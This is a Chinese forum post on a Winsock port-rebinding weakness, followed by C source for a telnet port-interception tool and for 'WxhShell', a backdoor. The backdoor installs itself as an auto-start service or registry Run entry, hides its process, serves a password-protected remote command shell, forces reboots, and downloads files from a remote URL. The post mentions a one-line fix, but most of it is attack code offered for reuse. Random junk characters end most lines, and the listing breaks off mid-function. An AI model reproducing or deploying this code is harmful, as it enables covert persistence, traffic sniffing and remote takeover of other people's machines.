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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >:6iFPP  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); t;w<n"  
<PDCM8  
  saddr.sin_family = AF_INET; !?JZ^/u  
|> STb\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ?;~E*kzO&  
qP#LJPaS  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ~Yk^(hl2  
!\R5/-_UU  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 F,~BhKkbV  
JHa1lj  
  这意味着什么?意味着可以进行如下的攻击: %lnkD5  
yM@sGz6c!  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 {im?tZ,  
giNXX jl  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) J\*uW|=F  
_F6<ba}o3  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 1!MJ+?Jl  
D=z~]a31!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  -\f7qRW^U  
k+ t(u]  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 OXrm!'  
iRsB|7v[,  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 !VWA4 e!+  
I~n4}}9M  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 3=uhy|f! /  
7@<.~*Bl6  
  #include )\u%XFPhS  
  #include zni9  
  #include pV ^+X}  
  #include    K^fs #7  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hO8xH +;  
  int main() _S ng55s  
  { MN2i0!+  
  WORD wVersionRequested; =fRS UtX  
  DWORD ret; aJ(/r.1G  
  WSADATA wsaData; 9lYfII}4(  
  BOOL val; 0"OEOYs}  
  SOCKADDR_IN saddr; Qpmq@iL  
  SOCKADDR_IN scaddr; ny13+Q`^  
  int err; .S 54:vs  
  SOCKET s; u:pOP  
  SOCKET sc; )]C]KB  
  int caddsize; rk1,LsZVS  
  HANDLE mt; hc q&`Gun  
  DWORD tid;   %oa@2qJ^  
  wVersionRequested = MAKEWORD( 2, 2 ); WBWW7HK  
  err = WSAStartup( wVersionRequested, &wsaData ); ]?=87w  
  if ( err != 0 ) { " 7^nRJy  
  printf("error!WSAStartup failed!\n"); p\ =T#lb  
  return -1; *xNc^ &.  
  } wx3_?8z/O  
  saddr.sin_family = AF_INET; <K^a2 D  
   3Sfd|0^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 o @L0ET  
?P0b/g  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); GoybkwFjZ  
  saddr.sin_port = htons(23); w~6UOA8}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) +I3Vfv  
  { Q")Xg:  
  printf("error!socket failed!\n"); r!Dk_| Cd  
  return -1; Hdew5Xn(:  
  } -yqgs>R(d  
  val = TRUE; gaz7u8$A=  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }2;P`s  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) \"ahs7ABT  
  { N0w?c 5>  
  printf("error!setsockopt failed!\n"); <h:xZtz  
  return -1; nvrh7l9nX  
  } 7!AyLw  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; j<(E %KN3  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 0V<kpC,4  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 jOfG}:>e\  
6ncwa<q5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) P'8RaO&d  
  { A^z{n/DiL  
  ret=GetLastError(); iUcX\ uW  
  printf("error!bind failed!\n"); ~4~r  
  return -1; iG54 +]  
  } KUU {X~w  
  listen(s,2); b+qd' ,.Z  
  while(1) DehjV6t  
  { s_y8+BJaV  
  caddsize = sizeof(scaddr); vcu@_N1Dc  
  //接受连接请求 +w]#26`d  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Cik1~5iF  
  if(sc!=INVALID_SOCKET) nvndgeSy  
  { P0}B&B/a:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Fqw4XR_`~  
  if(mt==NULL) e7GYz7  
  { #[jS&rr(  
  printf("Thread Creat Failed!\n"); 4x)vy -y  
  break; PI*@.kqR-  
  } 5/nL[4Z  
  } 2ul8]=  
  CloseHandle(mt); &6 s&nx  
  } )$S=iL8(  
  closesocket(s); -6DRX  
  WSACleanup(); `$> Y  
  return 0; cS%dTrfo  
  }   tsg`c;{  
  DWORD WINAPI ClientThread(LPVOID lpParam) J*rYw5QB  
  { '/xynk%)xw  
  SOCKET ss = (SOCKET)lpParam; '=$`NG8 l  
  SOCKET sc; f\oW<2k]~  
  unsigned char buf[4096]; mce qZv  
  SOCKADDR_IN saddr; B{Vc-qJ  
  long num; |^Y"*Y4*h  
  DWORD val; 3 zh:~w_  
  DWORD ret; :8@)W<>%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 a^l)vh{+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发    p[P# !  
  saddr.sin_family = AF_INET; /o4e n  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lkT :e)w  
  saddr.sin_port = htons(23); {*+J`H_G2a  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Chnt)N`/B4  
  { ~NIhS!  
  printf("error!socket failed!\n"); /lECgu*#69  
  return -1; &fB=&jc*j  
  } ]|!|3lQ  
  val = 100; } iKjef#J  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~B{08%|oK  
  { 8D)1ZUx7`  
  ret = GetLastError(); 2J t{oh|  
  return -1; By@65KmR"  
  } 3=n6N TL  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) V$hL\`e  
  { iHNQxLkk{:  
  ret = GetLastError(); cVx SO`jZw  
  return -1; Ac U@H0  
  } AwG0E `SU  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) )dfhy  
  { ]^"Lc~w8&  
  printf("error!socket connect failed!\n"); }Ecv6&G  
  closesocket(sc); |*t2IVwX  
  closesocket(ss); f@;pN=PS  
  return -1; WS[Z[O  
  } RI8*'~ix]  
  while(1) /b>xQ.G  
  { Ph P)|P  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 PpFQoY7M  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 h.R46:  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 O W.CU=XU  
  num = recv(ss,buf,4096,0); X(/fE?%;  
  if(num>0) VX8rM!3  
  send(sc,buf,num,0); Zo2+{a  
  else if(num==0) H4`>B>\  
  break; \Ebh6SRp\  
  num = recv(sc,buf,4096,0); b|AjB:G  
  if(num>0) wzy[sB274  
  send(ss,buf,num,0); -KC@M  
  else if(num==0) @}6<,;|DQ  
  break; 1P"7.{  
  } W)ug %@)  
  closesocket(ss); 2 )o2d^^  
  closesocket(sc); Ut2T:%m{  
  return 0 ; qZ!kVrmg&  
  } ykbfK$j z  
T&[6  
bxYSZCo*  
========================================================== mQ1  
U<&=pv  
下边附上一个代码,,WXhSHELL ]a/dvj}  
4RDY_HgF6  
========================================================== *-=/"m  
S8AbLl9G@>  
#include "stdafx.h" AQ$)JPs  
Io<T'K  
#include <stdio.h> bp'%UgA)1  
#include <string.h> =KQIrS:  
#include <windows.h> SM)"vr_  
#include <winsock2.h> 6 9$R.  
#include <winsvc.h> EE]xZz>o  
#include <urlmon.h> 1/mBp+D  
$s=` {vv  
#pragma comment (lib, "Ws2_32.lib") h{7>>  
#pragma comment (lib, "urlmon.lib") XE_Lz2H`  
EXeV @kg  
#define MAX_USER   100 // 最大客户端连接数 G.O;[(3ab  
#define BUF_SOCK   200 // sock buffer n eu<zSS  
#define KEY_BUFF   255 // 输入 buffer Q^va +O  
!+$QN4{9  
#define REBOOT     0   // 重启 .Bkfe{^  
#define SHUTDOWN   1   // 关机 l4$ sku-  
Eg1TF oIWl  
#define DEF_PORT   5000 // 监听端口 ??e|ec2%  
CC^]Y.9  
#define REG_LEN     16   // 注册表键长度 @BLB.=  
#define SVC_LEN     80   // NT服务名长度 &iu]M=Y b  
4 ;_g9]  
// 从dll定义API }ACg#;>/+  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); H HX q_-V  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qQ]fM$!  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); tYTl-c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); \3ydNgl  
DXD+,y\=  
// wxhshell配置信息 ,? <;zq  
struct WSCFG { 8Ckd.HKpQ  
  int ws_port;         // 监听端口 .0yBI=QI  
  char ws_passstr[REG_LEN]; // 口令 *\#<2 QAe  
  int ws_autoins;       // 安装标记, 1=yes 0=no h{"SV*Xpk/  
  char ws_regname[REG_LEN]; // 注册表键名 D8! Y0  
  char ws_svcname[REG_LEN]; // 服务名 *VXx\&  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J#H,QYnf(L  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yz0#0YG7  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 5-0&`,  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 8fi'"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .n_Z0&i/w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I-8I/RRkmP  
v$@1q9 5J  
}; Cm8h b  
-ewR:Y@j  
// default Wxhshell configuration + R6X  
struct WSCFG wscfg={DEF_PORT, CB9:53zK9  
    "xuhuanlingzhe", =#4>c8MM  
    1, =/j!S|P  
    "Wxhshell", /Bgqf,N |  
    "Wxhshell", 0J[B3JO@M  
            "WxhShell Service", oMYFfnoAa  
    "Wrsky Windows CmdShell Service", &Oz  
    "Please Input Your Password: ", 3%r/w7Fc  
  1, PUD8  
  "http://www.wrsky.com/wxhshell.exe", ~pH!.|k-&  
  "Wxhshell.exe" !/H `   
    }; =?4[:#Rh  
unFm~rcf  
// 消息定义模块 U.Vn|s(`z  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xX<T5Ls  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #s(ob `0|  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; AXxyB"7A}  
char *msg_ws_ext="\n\rExit."; O0rvr$.  
char *msg_ws_end="\n\rQuit."; &b,A-1`w_  
char *msg_ws_boot="\n\rReboot..."; QsPg4y3?D  
char *msg_ws_poff="\n\rShutdown..."; f uU"  
char *msg_ws_down="\n\rSave to "; r2tE!gMC  
xc-[gt6  
char *msg_ws_err="\n\rErr!"; Qt\:A!'jw  
char *msg_ws_ok="\n\rOK!"; UxB3/!<5g3  
9G6ZKqum  
char ExeFile[MAX_PATH]; A`~?2LH,~F  
int nUser = 0; (qR;6l  
HANDLE handles[MAX_USER]; vq9O|E3  
int OsIsNt; IDpLf*vSG  
`K@N\VM  
SERVICE_STATUS       serviceStatus; lxZ9y  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; I AUc.VH  
wAu]U6!  
// 函数声明 M`Wk@t6>  
int Install(void); q},,[t  
int Uninstall(void); _d7;Z%  
int DownloadFile(char *sURL, SOCKET wsh); v1+.-hO  
int Boot(int flag); h8M_Uk  
void HideProc(void); wPYeKOh'  
int GetOsVer(void); Z$c&Y>@)  
int Wxhshell(SOCKET wsl); /g%RIzgW  
void TalkWithClient(void *cs); _7u&.l<;  
int CmdShell(SOCKET sock); E}%Pwr  
int StartFromService(void); `=V1w4J  
int StartWxhshell(LPSTR lpCmdLine); R)N^j'R~=  
+-TEB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 3NZK$d=4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); %*<Wf4P"  
CU c,  
// 数据结构和表定义 "WmsBdO  
SERVICE_TABLE_ENTRY DispatchTable[] = '-~J.8-</  
{ w AdaP9h  
{wscfg.ws_svcname, NTServiceMain}, Z= -fL  
{NULL, NULL} p|qLr9\A  
}; UWqiA`,  
;[Xf@xf  
// 自我安装 9X1vL  
int Install(void) GHLFn~z@XJ  
{ sAA;d  
  char svExeFile[MAX_PATH]; BuAzO>=  
  HKEY key; !jEV75  
  strcpy(svExeFile,ExeFile); "p+oi@  
* #z@b  
// 如果是win9x系统,修改注册表设为自启动 < fe.  
if(!OsIsNt) { T^+K`U  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *j<#5=l  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); U+ Yu_=o{  
  RegCloseKey(key); X-bM`7'H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { bs% RWwn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FB,rQ9D  
  RegCloseKey(key); ? YIe<  
  return 0; bx6=LK  
    } 6W]C`  
  } A=ez,87  
} # ax% n  
else { )eSQce7H  
|V}tTx1  
// 如果是NT以上系统,安装为系统服务 ?qHQ#0 @y]  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); :KRNLhWb  
if (schSCManager!=0) I_?R(V[9  
{ Rm,>6bQx  
  SC_HANDLE schService = CreateService ghkV^ [  
  ( h?ijZHG $  
  schSCManager, )FA:wsy~E  
  wscfg.ws_svcname, FW3E UC)P  
  wscfg.ws_svcdisp, m4~~q[t  
  SERVICE_ALL_ACCESS, R;U4a2~  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 2Z"\%ZD  
  SERVICE_AUTO_START, I3Z\]BI  
  SERVICE_ERROR_NORMAL, @3b@]l5  
  svExeFile, |_s,]:  
  NULL, k $ SMQ6  
  NULL, .DnG}884  
  NULL,  cFjD*r-  
  NULL, (<Cg|*s  
  NULL (<H@W/0$  
  ); tK+JmbB\  
  if (schService!=0) lFA-T I&  
  { M0vX9;J  
  CloseServiceHandle(schService); KG(l=? N  
  CloseServiceHandle(schSCManager); d}?KPJ{  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); PbxQ \.  
  strcat(svExeFile,wscfg.ws_svcname); X g7xy>{]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { <?;KF2A({  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); FSkX95  
  RegCloseKey(key); 6"[,  
  return 0; m^RO*n.  
    } hSps9*y  
  } 0;w 4WJJ  
  CloseServiceHandle(schSCManager); u,=?|M\  
} hDoFF8)c  
} . Wd0}?}  
?c_:S]^  
return 1; &(o&Y  
} #'i,'h+F  
|hDN$By  
// 自我卸载 0x&L'&SpN  
int Uninstall(void) x>4p6H{]0'  
{ 3RlNEc%)  
  HKEY key; ZRr.kN+F  
YoQQ ,  
if(!OsIsNt) { mZ?QtyljT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vQoZk,  
  RegDeleteValue(key,wscfg.ws_regname); 7a/ BS(kq<  
  RegCloseKey(key); &u<%%b|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { r4?|sAK  
  RegDeleteValue(key,wscfg.ws_regname); pma=*  
  RegCloseKey(key); ]_L;AD  
  return 0; Q!AGalP z  
  } (A?w|/bZd  
} 0}:Wh&g  
} )C0I y.N-  
else { uXA}" f2  
S]e;p\8$Z  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {8;}y[R  
if (schSCManager!=0) B1Z;  
{ [ 'B u  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ]h`d>#Hw!  
  if (schService!=0) z 7cA5'c  
  { a=B $L6*4  
  if(DeleteService(schService)!=0) { 9A`^ (  
  CloseServiceHandle(schService); v[DxWs8q  
  CloseServiceHandle(schSCManager); xj]^<oi<  
  return 0; 3^)c5kcI  
  } e+ m(g  
  CloseServiceHandle(schService); 3Zpq#  
  } 4 4WyfpTJ*  
  CloseServiceHandle(schSCManager); NUtKT~V  
} mSEX?so=[  
} ['6Sq@c)  
NUuIhB+  
return 1; M,r8 No  
} ?2gXF0+~Y2  
r. rzU  
// 从指定url下载文件 tp\d:4~R  
int DownloadFile(char *sURL, SOCKET wsh) hfvC-f97L  
{ ;jKLB^4nX  
  HRESULT hr; fNrpYR X  
char seps[]= "/"; Psf{~ (Ii  
char *token; zCS }i_ p  
char *file; cw_B^f8^  
char myURL[MAX_PATH]; VEL!-e^X&  
char myFILE[MAX_PATH]; 3r?T|>|  
3n_t^=  
strcpy(myURL,sURL); K'K/}q<  
  token=strtok(myURL,seps); LF:~& m  
  while(token!=NULL) XHJ/211  
  { 6jov8GIAt  
    file=token; +mO/9m  
  token=strtok(NULL,seps); M@pF[J/  
  } 4jVd  
3]&le[.  
GetCurrentDirectory(MAX_PATH,myFILE); <c,iu{:  
strcat(myFILE, "\\"); 6>'>BamX  
strcat(myFILE, file); UnZc9 6  
  send(wsh,myFILE,strlen(myFILE),0); W yP]]I.  
send(wsh,"...",3,0); (r1"!~d@  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); SEM- t   
  if(hr==S_OK) Pn ?gB}l  
return 0; vXak5iq>X  
else {s2eOL5I|%  
return 1; I3ugBLxVC3  
iqWkhJphv  
} _Qb ].~  
J!QIMA4{  
// 系统电源模块 vcP_gJz  
int Boot(int flag) 7VLn$q]:  
{ +Q:)zE  
  HANDLE hToken; R0GD9  
  TOKEN_PRIVILEGES tkp; '^'PdB  
?uF3Q)rCk  
  if(OsIsNt) { R@IwmJxX  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); Iqj?wI 1)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); @k-GyV-v  
    tkp.PrivilegeCount = 1; ,K.Wni#m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; |A=~aQot  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); :vFYqoCn  
if(flag==REBOOT) { T IyHM1+  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  Ozsvsa  
  return 0; AG G xx?I  
} W7\UZPs5t  
else { *4Z! 5iOs  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2Fbg"de3-  
  return 0; ~KxK+ 6[ :  
} 9G[t &r  
  } ;_/!F}d  
  else { WjvgDNk  
if(flag==REBOOT) { HoZsDs.XZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) x*:"G'zT  
  return 0; u*T#? W?  
} 8;3I:z&muQ  
else { :4Y 5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) R{9G$b1Due  
  return 0; ?:7$c  
} /~/nhKm  
} 6""i<oR  
1[e%E#h  
return 1; }e>OmfxDBt  
} uJ3*AO  
PD^Cj?wm  
// win9x进程隐藏模块 |tFg9RT  
void HideProc(void) ~#=70  
{ Ece=loV*l  
hz-^9U  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); U@LIw6B!KL  
  if ( hKernel != NULL ) iu`B8yI  
  { CI|#,^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); c <X( S  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &(NxkZp!  
    FreeLibrary(hKernel); >PUT(yNL  
  } 5RKs 2 eV  
.6iJ:A6T  
return; P#,g5  
} 80LN(0?x  
2KNs,4X@  
// 获取操作系统版本 EB p(^r j  
int GetOsVer(void) H<l0]-S{  
{ #*+$o<Q]9  
  OSVERSIONINFO winfo; I%mGb$ Q  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4CxU eq  
  GetVersionEx(&winfo); DV!0zzJ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <t,lq  
  return 1; wf~n>e^e  
  else .h@bp1)l  
  return 0; ~W_ T3@  
} Tqx  
]ia{N  
// 客户端句柄模块 E$4Ik.k  
int Wxhshell(SOCKET wsl) wqJ1^>TB  
{ 0E^S!A 7  
  SOCKET wsh; ~mT([V  
  struct sockaddr_in client; $A)[s$  
  DWORD myID; v2vtkYQN  
%eJE@$  
  while(nUser<MAX_USER) I5W#8g!{  
{ i(S}gH4*o  
  int nSize=sizeof(client); |1m2h]];Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); \*30E<;C_  
  if(wsh==INVALID_SOCKET) return 1; N{K[sXCW  
:MF+`RpL  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9i!|wkx  
if(handles[nUser]==0) ^:ehG9  
  closesocket(wsh); O?Qi  
else B1J2m^  
  nUser++; mHc5NkvQC  
  } _Hv@bIL'  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 'c$)}R I7  
Az6tu <  
  return 0; ohPDknHp  
} mzn#4;m$  
W;.L N<bx  
// 关闭 socket q]gF[&QZ  
void CloseIt(SOCKET wsh)  *,e `.  
{ ifadnl26 s  
closesocket(wsh); Gp1?drF6  
nUser--; eMUt%zvb  
ExitThread(0); BBj>ML\X  
} 3Sn# M{wH  
Q'Y7PG9m~  
// 客户端请求句柄 DhiIKd9W  
void TalkWithClient(void *cs)  9 -Xr  
{ (6i. >%|_  
2Gn26L 5  
  SOCKET wsh=(SOCKET)cs; @5cY5e*i{  
  char pwd[SVC_LEN]; fh9w5hT={  
  char cmd[KEY_BUFF]; ;sY n=r  
char chr[1]; 4R9y~~+  
int i,j; +<sv/gEt  
Vd A!tL  
  while (nUser < MAX_USER) { q)y<\cEO  
e^-CxHwA-  
if(wscfg.ws_passstr) { ~L9I@(/ S  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); le~p2l#e   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G g{M  
  //ZeroMemory(pwd,KEY_BUFF); OsgjSJrf  
      i=0; "E7YCZQR  
  while(i<SVC_LEN) { ;Lk07+3G  
nZ# 0L`@"Y  
  // 设置超时 _O`s;oc  
  fd_set FdRead; ' -rRD\"q  
  struct timeval TimeOut; P u,JR  
  FD_ZERO(&FdRead); +?GsIp@>jh  
  FD_SET(wsh,&FdRead); rpv<'$6  
  TimeOut.tv_sec=8; b yX)4&  
  TimeOut.tv_usec=0; \mNN ) K@  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); &>vfm9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Z \;{e'#o  
1raq;^e9  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @ gjA8mL  
  pwd=chr[0]; e^orqw/I  
  if(chr[0]==0xd || chr[0]==0xa) { 7~nuFJaTI  
  pwd=0; 0W]vK$\F*  
  break; /(DnMHn\  
  } &LHS<Nv^:  
  i++; /vw$3,*z  
    } e9rgJJ  
}k_'a^;C1  
  // 如果是非法用户,关闭 socket ^NFL3v8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {,e-; 2q  
} VH<-||X/4  
.c\iKc#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); $)VnHr `hy  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); uS5ADh  
'_ FxxLAO  
while(1) { o}y(T07n  
p4z thdN[  
  ZeroMemory(cmd,KEY_BUFF); D[3QQT7c  
|}wT/3>\  
      // 自动支持客户端 telnet标准   vg*~t3{L  
  j=0; jXYjs8Iy  
  while(j<KEY_BUFF) { M^.>UZKyl  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {EyWSf"  
  cmd[j]=chr[0]; ?I ;PJj  
  if(chr[0]==0xa || chr[0]==0xd) { mIv}%hD  
  cmd[j]=0; wfQImCZ>l  
  break; P$&l1Mp  
  } }hS$F  
  j++; h<bCm`qj  
    } j-7aJj%  
8_T9[ ]7V8  
  // 下载文件 \n^;r|J7k  
  if(strstr(cmd,"http://")) { > QG@P  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); pLtK:Z  
  if(DownloadFile(cmd,wsh)) O-qpB;|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P5&8^YV`N  
  else nt*K@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `a9iq>   
  } il$eO 7  
  else { n {..Q,z  
tiF-lq  
    switch(cmd[0]) { %;b]k  
  wnHfjF  
  // 帮助 ?vmoRX  
  case '?': { ;e6- *  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); __`6 W1  
    break; S%df'bh$  
  } deCi\n  
  // 安装 EAK[2?CY  
  case 'i': { !k!1 h%7q  
    if(Install()) F[]6U/g n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Dfy=$:Q  
    else jt3=<&*Bm  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _3q}K  
    break; Zhc99L&K  
    } K<M WiB&  
  // 卸载 =LKf.@]#  
  case 'r': { >FqU=Q  
    if(Uninstall()) T%w5%{dqJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y-~ M kB  
    else =-/sB>-C  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;3+_aoY  
    break; @x_0AkZU  
    } gpogv -  
  // 显示 wxhshell 所在路径 c"/Hv  
  case 'p': { 3(_:"?xA  
    char svExeFile[MAX_PATH]; ,6SzW+L7  
    strcpy(svExeFile,"\n\r"); Ht|"91ZC5  
      strcat(svExeFile,ExeFile); :}-izd)/j  
        send(wsh,svExeFile,strlen(svExeFile),0);  C~T*Wlk  
    break; ff 6x4t  
    } $>rKm  
  // 重启 +HlZ ?1g  
  case 'b': { 9hjzOJPuga  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |g1Pr9{wy  
    if(Boot(REBOOT)) I/go$@E"  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p;~oIy\,  
    else { t\f[->f  
    closesocket(wsh); v[O?7Np  
    ExitThread(0); -@.FnFa  
    } m |Sf'5fK  
    break; EF'8-*  
    } Y)DF.ca(  
  // 关机 \4>& zb4  
  case 'd': { #dQFs]:F  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 1,+swFSN  
    if(Boot(SHUTDOWN)) 5aNvGI1  
